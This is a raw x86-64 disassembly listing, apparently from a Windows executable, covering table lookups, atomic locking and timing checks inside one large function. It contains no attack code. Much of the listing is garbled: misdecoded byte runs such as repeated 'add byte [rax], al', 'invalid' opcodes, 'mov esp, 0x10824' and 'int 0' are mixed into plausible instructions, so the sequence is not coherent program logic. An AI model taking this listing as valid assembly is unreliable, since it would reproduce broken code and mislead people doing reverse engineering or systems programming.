adc byte [rsp + 0x488], al
mov bh, 0x94
and al, 0x7a
add al, 0
add byte [rbx + rcx*4 - 0x7c], al
and al, 0x7c
add al, 0
add byte [rbx + rcx*4 - 0x74], cl
and al, 0x80
add al, 0
add byte [rdi], cl
adc byte [rsp + 0x488], al
movaps xmmword [rsp + 0x130], xmm0
mov byte [rsp + 0x120], al
mov byte [rsp + 0x121], cl
mov word [rsp + 0x122], dx
mov dword [rsp + 0x124], r8d
mov qword [rsp + 0x128], r9
lea rcx, [rsp + 0x350]
lea rbx, [rsp + 0x120]
mov rdx, rbx
call fcn.1400a3160
movdqu xmm0, xmmword [rsp + 0x598]
movdqu xmm1, xmmword [rsp + 0x5a8]
movdqa xmmword [rsp + 0x130], xmm1
movdqa xmmword [rsp + 0x120], xmm0
mov rcx, r13
call fcn.140099810
mov dword [rsp + 0x140], eax
mov dword [rsp + 0x144], r14d
mov rcx, qword [rsp + 0x2e8]
mov rdx, rbx
call fcn.14001f190
jmp 0x140099b40
mov rbx, qword [rdi + 0x408]
lea rsi, [rbx + 0x10]
xor eax, eax
mov cl, 1
lock cmpxchg byte [rbx + 0x10], cl
jne 0x14009c172
add byte [rax], al
lea r14, [rdx + 0x10]
xor eax, eax
mov cl, 1
mov qword [rsp + 0xb0], rdx
lock cmpxchg byte [rdx + 0x10], cl
jne 0x14009c1a9
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x14009c1c4
mov dword [rsp + 0xa4], 0
test byte [rsp + riz*4], ah
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0xd8
add al, byte [rax]
add byte [rcx + 0x30024ac], cl
add byte [rax], al
mov qword [rsp + 0x2d8], r14
mov dword [rsp + 0x300], ebp
mov qword [rsp + 0x578], rsi
mov r14, qword [rsp + 0xb0]
movzx eax, byte [r14 + 0x11]
test al, al
jne 0x14009cd4a
mov ecx, dword [rbx + 0xc0]
mov ebp, dword [rbx + 0xc4]
mov r15d, 0
mov eax, 0
add byte [rax], al
add byte [rax], al
sub ebp, ecx
jle 0x14009a392
mov edx, ecx
shr edx, 0x1f
add edx, ecx
sar edx, 1
mov r15d, 0
mov eax, 0
cmp ebp, edx
jl 0x14009a392
cmp dword [rdi + 0x100], 4
jne 0x14009a2e5
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009a33a
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3630
mov r15, rdx
test rax, rax
jne 0x14009a33a
test r15, r15
jne 0x14009a33a
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009aa70
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jb 0x14009aa70
test rax, rax
jne 0x14009a392
test r15, r15
jne 0x14009a392
mov dword [rsp + 0x124], 0
mov dword [rsp + 0x128], ebp
mov byte [rsp + 0x120], 7
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x120]
call fcn.140079250
cmp al, 0xc
jne 0x14009cec7
add ebp, dword [rbx + 0xc0]
jo 0x14009ceda
mov dword [rbx + 0xc0], ebp
xor r15d, r15d
xor eax, eax
stosd dword [rdi], eax
rol byte [rax], 0
add byte [rbp + 0x31], al
push qword [rcx]
ror byte [rax - 0x73], 0x4b
sbb byte [rax - 0x77], cl
mov word [rax + rdi*4], fs
add byte [rax], al
add byte [rax - 0x73], cl
mov ecx, eax
add dword [rax], eax
add byte [rax - 0x77], cl
and al, 0x58
lea rcx, [rbx + 0x18]
mov qword [rsp + 0xb8], rcx
lea rcx, [rbx + 0x1c8]
mov qword [rsp + 0x58], rcx
test rax, rax
mov qword [rsp + 0x88], rbx
jne 0x14009a9d7
test r15, r15
jne 0x14009a9d7
adc eax, dword [rsi]
add byte [rax], al
mov eax, dword [rbx + 0xd4]
mov dword [rsp + 0x68], eax
mov eax, dword [rbx + 0xd8]
mov dword [rsp + 0xe8], eax
mov r13d, dword [rbx + 0xc8]
mov esi, dword [rbx + 0xcc]
mov ebp, dword [rbx + 0xd0]
jmp 0x14009a440
shl r14, 0x20
or r14, r15
cmp edi, 0x3b9aca00
setne r8b
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], r14
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x120]
call fcn.14001f580
mov rdi, qword [rsp + 0x108]
mov rbx, qword [rsp + 0x88]
mov r13d, dword [rsp + 0x60]
push rbp
push rcx
clc
dec dword [rax - 0x75]
mov esp, 0x10824
add byte [rax - 0x75], cl
pushfq
and al, 0x88
add byte [rax], al
add byte [rbx + rcx*4 + 0x6c], al
and al, 0x60
mov r12d, esi
mov r14d, ebp
cmp dword [rdi + 0x100], 4
jne 0x14009a471
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
jae 0x14009a4cb
mov rcx, qword [rsp + 0x98]
mov rdx, qword [rsp + 0x258]
call fcn.1400a3630
mov r15, rdx
test rax, rax
jne 0x14009a4cb
test r15, r15
jne 0x14009a4cb
mov ecx, 1
cmp dword [rdi + 0x100], 4
jne 0x14009a9b8
mov rdx, qword [rdi + 0x158]
sub rdx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rdx, qword [rdi + 0x178]
jb 0x14009a9b8
mov rcx, rax
test rax, rax
jne 0x14009a9b8
test r15, r15
jne 0x14009a9b8
test r13d, r13d
je 0x14009a8aa
mov r15d, r12d
cmp r12d, dword [rsp + 0x68]
jne 0x14009a580
cmp r14d, dword [rsp + 0xe8]
jne 0x14009a580
mov dword [rsp + 0x478], r12d
mov dword [rsp + 0x47c], r14d
mov rax, qword [rbx + 0x1d8]
cmp rax, r15
jbe 0x14009cc02
mov rcx, qword [rbx + 0x1d0]
imul rdx, r15, 0x130
cmp dword [rcx + rdx], 2
je 0x14009cc02
add rcx, rdx
cmp dword [rcx + 0x114], r14d
jne 0x14009cc02
cmp dword [rcx + 0xe8], 0
jne 0x14009cc2e
mov dword [rbx + 0xc8], 0
mov dword [rsp + 0x60], 0
mov ebp, dword [rsp + 0xe8]
mov esi, dword [rsp + 0x68]
jmp 0x14009a60d
mov dword [rsp + 0x478], r12d
mov dword [rsp + 0x47c], r14d
cmp qword [rbx + 0x1d8], r15
jbe 0x14009cbf5
mov rax, qword [rbx + 0x1d0]
imul rcx, r15, 0x130
cmp dword [rax + rcx], 2
je 0x14009cbf5
add rax, rcx
cmp dword [rax + 0x114], r14d
jne 0x14009cbf5
mov esi, dword [rax + 0xec]
mov ebp, dword [rax + 0xf0]
cmp dword [rax + 0xe8], 0
mov dword [rax + 0xe8], 0
je 0x14009cc46
mov dword [rbx + 0xc8], 1
mov dword [rbx + 0xcc], esi
mov dword [rbx + 0xd0], ebp
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x60], 1
mov dword [rsp + 0x478], r12d
mov dword [rsp + 0x47c], r14d
cmp rax, r15
jbe 0x14009cbf5
mov rax, qword [rbx + 0x1d0]
imul r13, r15, 0x130
cmp dword [rax + r13], 2
je 0x14009cbf5
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009cbf5
mov byte [rax + 0x127], 0
mov dword [rsp + 0x478], r12d
mov dword [rsp + 0x47c], r14d
cmp qword [rbx + 0x1d8], r15
jbe 0x14009cc02
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r13], 2
je 0x14009cc02
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009cc02
mov edi, dword [rax + 0x48]
movzx ecx, byte [rax + 0x50]
add cl, 0xfa
movzx ecx, cl
cmp cl, 6
mov edx, 6
cmovae ecx, edx
cmp cl, 4
je 0x14009a6d0
movzx ecx, cl
cmp ecx, 3
jne 0x14009a3f0
cmp byte [rax + 0x52], 0
jne 0x14009a6da
jmp 0x14009a3f0
cmp byte [rax + 0x51], 0
je 0x14009a3f0
mov ecx, dword [rax + 0xa0]
mov ebx, dword [rax + 0xa4]
sub ebx, ecx
jle 0x14009a3f0
mov eax, ecx
shr eax, 0x1f
add eax, ecx
sar eax, 1
cmp ebx, eax
jl 0x14009a3f0
mov dword [rsp + 0x124], r14d
mov dword [rsp + 0x128], ebx
mov byte [rsp + 0x120], 7
mov rcx, qword [rsp + 0x98]
lea rdx, [rsp + 0x120]
call fcn.140079250
cmp al, 0xc
jne 0x14009ce0f
mov dword [rsp + 0x478], r12d
mov dword [rsp + 0x47c], r14d
mov rax, qword [rsp + 0x88]
cmp qword [rax + 0x1d8], r15
jbe 0x14009cbf5
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x1d0]
cmp dword [rax + r13], 2
je 0x14009cbf5
add rax, r13
cmp dword [rax + 0x114], r14d
jne 0x14009cbf5
add ebx, dword [rax + 0xa0]
jo 0x14009ce42
mov dword [rax + 0xa0], ebx
jmp 0x14009a3f0
mov rcx, r13
call fcn.140110530
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140099cb9
call fcn.1401105f0
xor al, 1
movzx ecx, byte [rbp + 0x11]
test cl, cl
je 0x140099cc7
jmp 0x14009cc52
mov rcx, qword [rsp + 0x58]
call fcn.140110530
mov rcx, qword [rsp + 0x58]
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
je 0x140099f3a
call fcn.1401105f0
mov rcx, qword [rsp + 0x58]
xor al, 1
movzx edx, byte [rcx + 1]
test dl, dl
je 0x140099f48
jmp 0x14009cc8d
and al, 0
add byte [rax - 0x75], cl
and al, 0x60
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x598], rcx
mov qword [rsp + 0x5a0], rax
mov qword [rsp + 0x5a8], r14
mov rsi, qword [rsp + 0x68]
mov qword [rsp + 0x5b0], rsi
test r14d, r14d
je 0x14009ce91
cmp byte [rbp + 0x70], 0
setne al
xor al, r14b
test al, 1
je 0x14009a8b4
call fcn.1401105f0
test al, al
jne 0x14009a0bb
mov rax, qword [rsp + 0x58]
mov byte [rax + 1], 1
jmp 0x14009a0bb
call fcn.1401105f0
test al, al
jne 0x14009a0e8
mov byte [rbp + 0x11], 1
jmp 0x14009a0e8
xor r15d, r15d
xor ecx, ecx
jmp 0x14009a9b8
add bh, al
test byte [rax + rbp*2], ah
add dword [rax], eax
add byte [rax], al
retf 0x3b9a
mov rax, rcx
or rax, r15
mov eax, 0
cmovne rax, rcx
mov r12, qword [rsp + 0x258]
mov r14, qword [rsp + 0xb0]
test rax, rax
jne 0x14009c263
test r15, r15
jne 0x14009c263
cmp dword [rdi + 0x100], 4
jne 0x14009aa19
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009aa88
mov rcx, qword [rsp + 0x98]
mov rdx, r12
call fcn.1400a3630
mov r15, rdx
test rax, rax
jne 0x14009aa83
test r15, r15
movzx ecx, byte [rsp + 0x42]
jne 0x14009aa88
mov esi, 1
cmp dword [rdi + 0x100], 4
jne 0x14009aa70
mov rcx, qword [rdi + 0x158]
sub rcx, qword [rdi + 0x150]
mov r15d, 0
mov eax, 0
cmp rcx, qword [rdi + 0x178]
movzx ecx, byte [rsp + 0x42]
jae 0x14009aa88
cmp byte [rsp + 0xa4], 0
jne 0x14009c283
jmp 0x14009c270
movzx ecx, byte [rsp + 0x42]
test rax, rax
jne 0x14009c1e1
test r15, r15
lea rsi, [rsp + 0x478]
jne 0x14009c1e1
lea rdx, [r14 + 0x18]
lea rcx, [rbx + 0x120]
mov qword [rsp + 0x100], rcx
mov qword [rsp + 0x298], rdx
mov r8, qword [rsp + 0x58]
mov r9, rdi
call fcn.1400a4280
mov eax, dword [rdi + 0x180]
mov qword [rsp + 0x588], rax
lea r13, [rbx + 0x130]
lea rax, [rbx + 0x134]
mov qword [rsp + 0x60], rax
lea rax, [rbx + 0x138]
mov qword [rsp + 0x68], rax
lea rax, [rbx + 0x13c]
mov qword [rsp + 0xe8], rax
lea rax, [rbx + 0x140]
mov qword [rsp + 0x460], rax
lea rax, [rbx + 0x158]
mov qword [rsp + 0x570], rax
mov qword [rsp + 0x90], r13
nop dword [rax]
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009acf3
mov rcx, rsi
mov rdx, qword [rsp + 0x570]
mov r8, qword [rsp + 0x58]
call fcn.140021750
cmp qword [rsp + 0x478], 0
je 0x14009acf3
mov r14, qword [rsp + 0x478]
mov rdx, rsi
mov rsi, qword [rsp + 0x480]
mov rcx, qword [rsp + 0xb8]
call fcn.14001f480
mov qword [rsp + 0x598], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x14009c9cd
mov rax, qword [r14 + 8]
imul rcx, rcx, 0x130
cmp dword [rax + rcx], 2
je 0x14009c9cd
mov rdi, rsi
shr rdi, 0x20
add rax, rcx
cmp dword [rax + 0x114], edi
jne 0x14009c9cd
mov rdx, qword [rax + 0x90]
mov rcx, qword [rax + 0x98]
mov qword [rax + 0x90], 0
test rdx, rdx
je 0x14009abe2
call qword [rdx + 8]
mov qword [rsp + 0x478], r14
mov qword [rsp + 0x480], rsi
mov qword [rsp + 0x598], rsi
mov ecx, esi
cmp qword [r14 + 0x10], rcx
jbe 0x14009ca43
mov rdx, qword [r14 + 8]
imul rax, rcx, 0x130
cmp dword [rdx + rax], 2
je 0x14009ca43
add rdx, rax
cmp dword [rdx + 0x114], edi
jne 0x14009ca43
cmp byte [rdx + 0x121], 0
jne 0x14009accb
mov byte [rdx + 0x121], 1
cmp dword [r13], 0
je 0x14009aca1
mov rdx, qword [rsp + 0x60]
movq xmm0, qword [rdx]
mov dword [rsp + 0x598], esi
mov dword [rsp + 0x59c], edi
cmp qword [r14 + 0x10], rcx
jbe 0x14009c9cd
mov rcx, qword [r14 + 8]
cmp dword [rcx + rax], 2
je 0x14009c9cd
add rcx, rax
cmp dword [rcx + 0x114], edi
jne 0x14009c9cd
mov dword [rcx + 0xb8], 1
movq qword [rcx + 0xbc], xmm0
mov rax, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x68]
jmp 0x14009acc7
mov dword [r13], 1
mov rax, qword [rsp + 0x60]
add byte [rax - 0x75], cl
and al, 0x60
mov dword [rax], esi
mov rax, qword [rsp + 0x68]
mov dword [rax], edi
mov rax, qword [rsp + 0xe8]
mov rcx, qword [rsp + 0x460]
mov dword [rax], esi
mov dword [rcx], edi
mov rcx, qword [rsp + 0x100]
lea rsi, [rsp + 0x478]
mov rdx, rsi
call fcn.140021220
mov rdi, qword [rsp + 0x108]
mov r14, qword [rsp + 0xb0]
mov qword [rsp + 0x308], 2
mov qword [rsp + 0x328], 0
cmp dword [r13], 0
jne 0x14009ad2b
jmp 0x14009bec1
call qword [rax + 0x80]
nop dword [rax]
cmp dword [r13], 0
je 0x14009b3a4
mov rax, qword [rsp + 0x60]
mov ebp, dword [rax]
mov rax, qword [rsp + 0x68]
mov r15d, dword [rax]
mov rax, qword [rsp + 0xe8]
cmp ebp, dword [rax]
jne 0x14009adc0
mov rax, qword [rsp + 0x460]
cmp r15d, dword [rax]
cmp byte [rbp + 0x6d], dh
cmp byte [rbp + 0x6d], dh
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
mov rax, qword [rbx + 0x1d8]
cmp rax, rbp
jbe 0x14009ca43
mov rcx, qword [rbx + 0x1d0]
imul rdx, rbp, 0x130
cmp dword [rcx + rdx], 2
je 0x14009ca43
add rcx, rdx
cmp dword [rcx + 0x114], r15d
jne 0x14009ca43
cmp dword [rcx + 0xb8], 0
jne 0x14009cc2e
mov dword [r13], 0
jmp 0x14009ae3c
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009c9cd
mov rax, qword [rbx + 0x1d0]
imul rcx, rbp, 0x130
cmp dword [rax + rcx], 2
je 0x14009c9cd
add rax, rcx
cmp dword [rax + 0x114], r15d
jne 0x14009c9cd
movq xmm0, qword [rax + 0xbc]
cmp dword [rax + 0xb8], 0
mov dword [rax + 0xb8], 0
je 0x14009cc46
mov dword [rbx + 0x130], 1
movq qword [rbx + 0x134], xmm0
mov rax, qword [rbx + 0x1d8]
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
cmp rax, rbp
jbe 0x14009c9cd
mov rax, qword [rbx + 0x1d0]
imul r12, rbp, 0x130
cmp dword [rax + r12], 2
je 0x14009c9cd
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009c9cd
mov rcx, r15
shl rcx, 0x20
or rcx, rbp
mov byte [rax + 0x121], 0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x468], rax
mov qword [rsp + 0x470], rcx
mov qword [rsp + 0x260], 2
mov qword [rsp + 0x280], 0
mov dword [rsp + 0x598], ebp
mov dword [rsp + 0x59c], r15d
mov rcx, qword [rbx + 0x1d8]
cmp rcx, rbp
jbe 0x14009ca43
mov rax, qword [rbx + 0x1d0]
mov rdx, qword [rax + r12]
cmp rdx, 2
je 0x14009ca43
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009ca43
mov r8d, dword [rax + 0x48]
test rdx, rdx
je 0x14009af80
mov dword [rsp + 0x7c], r8d
mov r9, qword [rax + 8]
cmp qword [r14 + 0x28], r9
jbe 0x14009cc16
mov r11, qword [rax + 0x10]
imul rcx, r9, 0x138
mov rdx, qword [r14 + 0x20]
mov rsi, qword [r14 + 0x38]
mov r10, qword [rdx + rcx]
mov r8, qword [rdx + rcx + 8]
mov qword [rdx + rcx], 2
mov qword [rdx + rcx + 8], rsi
mov dword [rdx + rcx + 8], esi
mov dword [rdx + rcx + 8], esi
cmp r10, 2
je 0x14009cc0f
dec qword [r14 + 0x30]
mov qword [r14 + 0x38], r9
cmp r9, r11
jne 0x14009afb0
test r10, r10
lea rsi, [rsp + 0x478]
jne 0x14009ccd4
mov qword [rax], 0
jmp 0x14009afcc
mov byte [rsp + 0x330], 9
mov dword [rsp + 0xf0], ebp
mov dword [rsp + 0xf4], r15d
cmp rcx, rbp
ja 0x14009b02e
jmp 0x14009ca93
test r10, r10
lea rsi, [rsp + 0x478]
je case.0x140095d16.27
mov qword [rax], 1
mov qword [rax + 8], r8
add rdx, rcx
add rdx, 0x10
mov r8d, 0x128
lea rcx, [rsp + 0x330]
call fcn.140106530
movzx r13d, byte [rsp + 0x330]
test r13d, r13d
je 0x14009b080
cmp r13d, 9
jne 0x14009b474
mov rcx, qword [rbx + 0x1d8]
mov r13, qword [rsp + 0x90]
mov r8d, dword [rsp + 0x7c]
mov dword [rsp + 0xf0], ebp
mov dword [rsp + 0xf4], r15d
cmp rcx, rbp
jbe 0x14009ca93
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r12], 2
je 0x14009ca93
push rbx
sbb al, byte [rax]
add byte [rcx + rax - 0x20], cl
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009ca93
cmp byte [rax + 0x50], 5
je 0x14009b3e0
cmp r8d, 0x3b9aca00
setne r8b
mov rcx, qword [rsp + 0xb8]
lea rdx, [rsp + 0x468]
call fcn.14001f580
jmp 0x14009b294
mov rsi, qword [rsp + 0x338]
movdqu xmm13, xmmword [rsp + 0x340]
movdqu xmm12, xmmword [rsp + 0x350]
mov r10d, dword [rsp + 0x360]
movzx r11d, byte [rsp + 0x364]
movzx eax, byte [rsp + 0x365]
mov byte [rsp + 0x43], al
movzx r14d, byte [rsp + 0x366]
movzx edx, byte [rsp + 0x367]
mov dword [rsp + 0xf0], ebp
mov dword [rsp + 0xf4], r15d
cmp qword [rbx + 0x1d8], rbp
jbe 0x14009ca93
mov rcx, qword [rbx + 0x1d0]
cmp dword [rcx + r12], 2
je 0x14009ca93
add rcx, r12
cmp dword [rcx + 0x114], r15d
jne 0x14009ca93
mov eax, dword [rcx + 0x84]
test rsi, rsi
mov r13, qword [rsp + 0x90]
je 0x14009b14c
cmp rsi, 1
jne 0x14009b1d7
pshufd xmm0, xmm13, 0xee
movq r8, xmm0
movq r9, xmm12
sub r8, r9
mov r9d, 0
cmovae r9, r8
test r9, r9
jne 0x14009b15a
jmp 0x14009b1da
movq r9, xmm12
test r9, r9
je 0x14009b1da
test eax, eax
jne 0x14009b1da
mov qword [rsp + 0x128], rsi
movdqu xmmword [rsp + 0x130], xmm13
movdqu xmmword [rsp + 0x140], xmm12
mov dword [rsp + 0x150], r10d
mov byte [rsp + 0x154], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x155], al
mov byte [rsp + 0x156], r14b
mov byte [rsp + 0x157], dl
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x298]
lea r8, [rsp + 0x120]
call fcn.1400a47a0
lea rsi, [rsp + 0x478]
mov r14, qword [rsp + 0xb0]
jmp 0x14009b294
xor r9d, r9d
mov r8, qword [rsp + 0x588]
cmp r9, r8
cmovae r9, r8
xor r13d, r13d
test eax, eax
mov r8d, 0
cmovg r8d, eax
cmp r9, r8
cmovae r9, r8
test r9, r9
je 0x14009b66c
mov r13d, r9d
cmp dword [rcx + 0x80], r9d
jge 0x14009b66c
mov qword [rsp + 0x128], rsi
movdqu xmmword [rsp + 0x130], xmm13
movdqu xmmword [rsp + 0x140], xmm12
mov dword [rsp + 0x150], r10d
mov byte [rsp + 0x154], r11b
movzx eax, byte [rsp + 0x43]
mov byte [rsp + 0x155], al
mov byte [rsp + 0x156], r14b
mov byte [rsp + 0x157], dl
mov byte [rsp + 0x120], 0
mov rdx, qword [rsp + 0x298]
lea r8, [rsp + 0x120]
call fcn.1400a47a0
lea rsi, [rsp + 0x478]
mov r14, qword [rsp + 0xb0]
mov r13, qword [rsp + 0x90]
movzx eax, byte [rsp + 0x330]
xor byte [rbx], al
add byte [rax], al
cmp eax, 9
mov r12, qword [rsp + 0x258]
ja 0x14009b380
mov ecx, 0x209
bt ecx, eax
jae 0x14009b380
mov rdx, qword [rsp + 0x260]
cmp rdx, 2
je 0x14009ad20
mov rcx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
test rdx, rdx
je 0x14009b2f4
mov rdx, qword [rax + 0x10]
dec rdx
and rdx, 0xfffffffffffffff0
add rcx, rdx
add rcx, 0x10
lea rdx, [rsp + 0x278]
call qword [rax + 0x68]
mov r8, qword [rsp + 0x260]
cmp r8, 2
je 0x14009ad20
mov rdx, qword [rsp + 0x278]
mov rcx, qword [rsp + 0x268]
mov rax, qword [rsp + 0x270]
test r8, r8
je 0x14009ad17
mov r8, qword [rax + 0x10]
dec r8
and r8, 0xfffffffffffffff0
add rcx, r8
add rcx, 0x10
call qword [rax + 0x80]
mov rax, qword [rsp + 0x268]
lock dec qword [rax]
jne 0x14009ad20
mov rcx, qword [rsp + 0x268]
mov rdx, qword [rsp + 0x270]
call fcn.140004950
jmp 0x14009ad20
lea rcx, [rsp + 0x330]
call fcn.1400875e0
mov rdx, qword [rsp + 0x260]
cmp rdx, 2
je 0x14009ad20
jmp 0x14009b2cd
mov r13b, 9
mov ecx, dword [rsp + 0x4c]
movzx r9d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm10
movdqa xmm12, xmm11
mov ebx, dword [rsp + 0xa8]
mov r14, qword [rsp + 0x290]
mov r15, qword [rsp + 0xd0]
jmp 0x14009bd83
mov dword [rsp + 0x7c], r8d
mov esi, dword [rax + 0x54]
mov word [rax + 0x50], 0x100
mov dword [rax + 0x54], r15d
mov dword [rax + 0x54], edi
mov dword [rax + 0x54], edi
mov dword [rax + 0x58], esi
mov dword [rsp + 0xf0], ebp
mov dword [rsp + 0xf4], r15d
add byte [rax + 0x39], cl
stosd dword [rdi], eax
fadd dword [rcx]
add byte [rax], al
add byte [rax + 0x39], cl
stosd dword [rdi], eax
fadd dword [rcx]
add byte [rax], al
jbe 0x14009ca93
mov rax, qword [rbx + 0x1d0]
cmp dword [rax + r12], 2
je 0x14009ca93
add rax, r12
cmp dword [rax + 0x114], r15d
jne 0x14009ca93
mov r14d, esi
shr r14d, 0x10
mov r13b, 8
mov edx, r15d
mov r9d, dword [rsp + 0x4c]
movzx r11d, byte [rsp + 0x44]
movzx eax, byte [rsp + 0x42]
mov byte [rsp + 0x43], al
movdqa xmm13, xmm9
movdqa xmm12, xmm8
movzx eax, byte [rsp + 0x330]
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg ebx, eax
add al, 0
invalid
add eax, dword [rax]
add byte [rbx - 0x79f0f608], al
xchg ebx, eax
add al, 0
add cl, ch
pushfq
add al, 0
add byte [rcx - 0x7d], al
std
add ecx, dword [rdi]
test dword [rdx + 3], edi
add eax, dword [rax]
invalid
jmp 0x14009b910
cmp r13d, 3
jne 0x14009b7f8
add eax, dword [rax]
invalid
add eax, dword [rax]
add byte [rax - 0x75], cl
mov ah, 0x24
cmp byte [rbx], al
add byte [rax], al
mov rsi, qword [rsp + 0x338]
movdqu xmm13, xmmword [rsp + 0x340]
movdqu xmm12, xmmword [rsp + 0x350]
mov rax, qword [rsp + 0x360]
mov qword [rsp + 0xd0], rax
mov r14d, dword [rsp + 0x368]
mov eax, dword [rsp + 0x36c]
mov dword [rsp + 0x74], eax
movzx eax, byte [rsp + 0x370]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x4b], al
lea rcx, [rsp + 0x371]
mov eax, dword [rcx]
mov ecx, dword [rcx + 3]
mov dword [rsp + 0x2d0], eax
mov dword [rsp + 0x2d3], ecx
mov eax, dword [rsp + 0x378]
mov dword [rsp + 0x44], eax
movzx eax, byte [rsp + 0x37c]
mov byte [rsp + 0x42], al
movzx eax, byte [rsp + 0x37d]
add byte [rax], al
add byte [rax], al
mov byte [rsp + 0x43], al
movzx eax, byte [rsp + 0x37e]
mov dword [rsp + 0xac], eax
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x48], al
int 0
add byte [rax], al
lea rcx, [rsp + 0x478]
lea rdx, [rsp + 0x37f]
add eax, dword [rax]
add al, ch
jmp [rdi - 0x74bbfffa]
test byte [rsp + rcx*2], ah
add al, 0
add byte [rax - 0x75], cl
test byte [rax + rdx*2], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + rdx*4], ah
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rsp + 0x120]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x7f
add eax, dword [rax]
add al, ch
jmp [rdi - 0x74bbfffa]
lea ecx, [rsp + 0x120]
mov rdx, qword [rsp + 0x58]
push rsp
and al, 0x58
mov dword [rsp + 0xa8], r8d
call fcn.140026070
cmp qword [rsp + 0x120], 0
je 0x14009cea9
movdqu xmm0, xmmword [rsp + 0x120]
movdqa xmmword [rsp + 0xf0], xmm0
add byte [rax - 0x75], cl
mov word [rax + rsi*8], fs
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf8
add byte [rax], al
add byte [rbx + 0xfc2484], cl
add byte [rax], al
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], al
and al, 0xf8
add byte [rax], al
add byte [rbx + 0xfc2484], cl
add byte [rax], al
mov dword [rsp + 0x288], r8d
add byte [rax], al
mov dword [rsp + 0x28c], eax
cmp qword [rcx + 0x10], r8
mov r13, qword [rsp + 0x90]
jbe 0x14009cdbc
invalid
add al, byte [rax]
add byte [rcx + rdi + 0x41], cl
adc byte [rbx + rcx*4 - 0x54], cl
and al, 0x90
add byte [rax], al
add byte [rdi], cl
xchg byte [rax], al
sbb byte [rax], al
add byte [rbx + rcx*4 + 0x49], cl
or byte [rcx + 0x69], cl
sal byte [rax], 1
add dword [rax], eax
add byte [rcx - 0x7d], al
cmp al, 0x11
add cl, byte [rdi]
test dl, ch
invalid
mov r9, qword [rcx + 8]
imul rdx, r8, 0x130
cmp dword [r9 + rdx], 2
je 0x14009cdbc
add r9, rdx
cmp dword [r9 + 0x114], eax
jne 0x14009cdbc
mov byte [r9 + 0x125], 0
add byte [rcx + rcx*4 - 0x7c], al
and al, 0x88
add al, byte [rax]
add byte [rcx + 0x28c2484], cl
add byte [rax], al
mov dword [rsp + 0x288], r8d
mov dword [rsp + 0x28c], eax
cmp qword [rcx + 0x10], r8
jbe 0x14009cdaf
mov r8, qword [rcx + 8]
mov rcx, qword [r8 + rdx]
cmp rcx, 2
je 0x14009cdaf
add r8, rdx
cmp dword [r8 + 0x114], eax
jne 0x14009cdaf
test rcx, rcx
je 0x14009b891
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
sub byte [r8 + 0x3b], cl
cmp rax, qword [rbx + 0x30]
jbe 0x14009b87c
add al, byte [rax]
invalid
add byte [rax], al
mov rax, qword [rbx + 0x28]
cmp rax, qword [rbx + 0x30]
jbe 0x14009b87c
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x75], cl
mov word [rax + rdi*4], fs
mov eax, 0x48000000
invalid
pushfq
and al, 0xf0
mov rcx, qword [rsp + 0xb8]
lea rbx, [rsp + 0xf0]
add byte [rax], al
invalid
mov eax, 0x48000000
lea ebx, [rsp + 0xf0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov rdx, rbx
call fcn.14001f480
mov rcx, r13
mov rdx, rbx
mov rbx, qword [rsp + 0x88]
call fcn.1400a4900
jmp 0x14009b891
invalid
add al, byte [rax]
invalid
and eax, 0x44000002
